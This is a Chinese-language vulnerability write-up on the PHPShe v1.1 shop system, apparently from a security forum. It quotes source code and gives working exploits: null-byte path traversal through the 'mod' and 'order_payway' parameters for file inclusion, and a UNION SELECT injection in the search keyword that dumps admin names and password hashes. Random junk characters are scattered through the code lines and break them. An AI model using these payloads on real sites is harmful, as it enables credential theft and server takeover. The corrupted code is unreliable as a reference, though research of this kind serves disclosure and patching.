phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
, ~/ |  P" k9 I% x$ Z/* Phpshe v1.1 Vulnerability
1 T+ y8 Z  E5 x( b3 r5 y8 H/* ========================
7 \% K2 ~( L8 U4 E/* By: : Kn1f3
/* E-Mail : 681796@qq.com
- F8 S  d4 k' L  j+ f( U3 d/ l4 _/*******************************************************/
5 [& T8 i% i8 J& p0 T0×00 整体大概参数传输

+ L- h2 t3 ~8 [" c- f
( F% M0 s; q% M3 `
//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
5 k5 V7 m. e. X( Q. e" s" U}
0 s$ [1 `/ \5 |" T* N) G! }( Relse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
" y$ e9 E# g2 L3 U+ |7 z2 q!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
( d+ v% T) e3 u4 F( H!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
* w3 F( G8 A6 E* c# h: Npe_result();
?>
//common 文件 第15行开始
* J( t2 i/ y3 P: x* k4 X" Jurl路由配置
$module = $mod = $act = 'index';
2 g# k1 F3 O! {$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
$ _7 f. T* l) b0 J$ a$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
( E: r1 L% T1 i) N+ p7 n$sqlwhere = " and `product_state` = 1";
$ ]. C# B  [' z5 x% zpe_lead('hook/category.hook.php');
/ d0 S6 D) Y1 s" dif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
& ^4 m7 b0 Z7 X& e9 Z* J}
$ n# N+ @9 \3 U- G) s% I$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
9 S8 e! _9 ~& T/ u& x' Oelse {
% F. x; e  H7 a9 h/ M$sqlwhere .= " order by `product_id` desc";
}
! w. A$ l2 x- ]  w& `7 E5 }$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
* Q% H% N7 w% l# `, b9 Y1 @0 \$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
6 f+ g' h5 E4 D) I$seo = pe_seo($info['category_name']);
. A/ S7 y# |* X* u$ P6 ^6 Yinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
" x2 J2 H  @0 N* b- zpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
1 O5 i4 V# D  W+ b7 T8 `* x, P{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
" J" x! R. Q0 g//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

* O9 c& a0 N( X2 k+ {$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

# ~4 b" j6 J; Y4 T+ `- j# f( r}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

7 B3 u4 W$ Z8 L5 Qif (isset($_p_pesubmit)) {

0 [6 f4 ]- G. S. B: r8 ?& Rif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

% o0 U- q. k# C6 h$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

# c5 r% n2 T) uforeach ($info_list as $v) {

9 e5 s: ]( ?. y) a$order['order_name'] .= "{$v['product_name']};";
. h! g3 W7 W. h% o6 j) e9 i

}

$ B; j0 O. `" |4 O0 Y% }5 ]( L: zecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

/ g' S5 G' Q# T9 f. B# y5 Vpe_error('支付错误...');

9 @* x$ y$ U4 T2 T' x: N}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

& U! l0 i" n7 d- J- `" _/ {break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>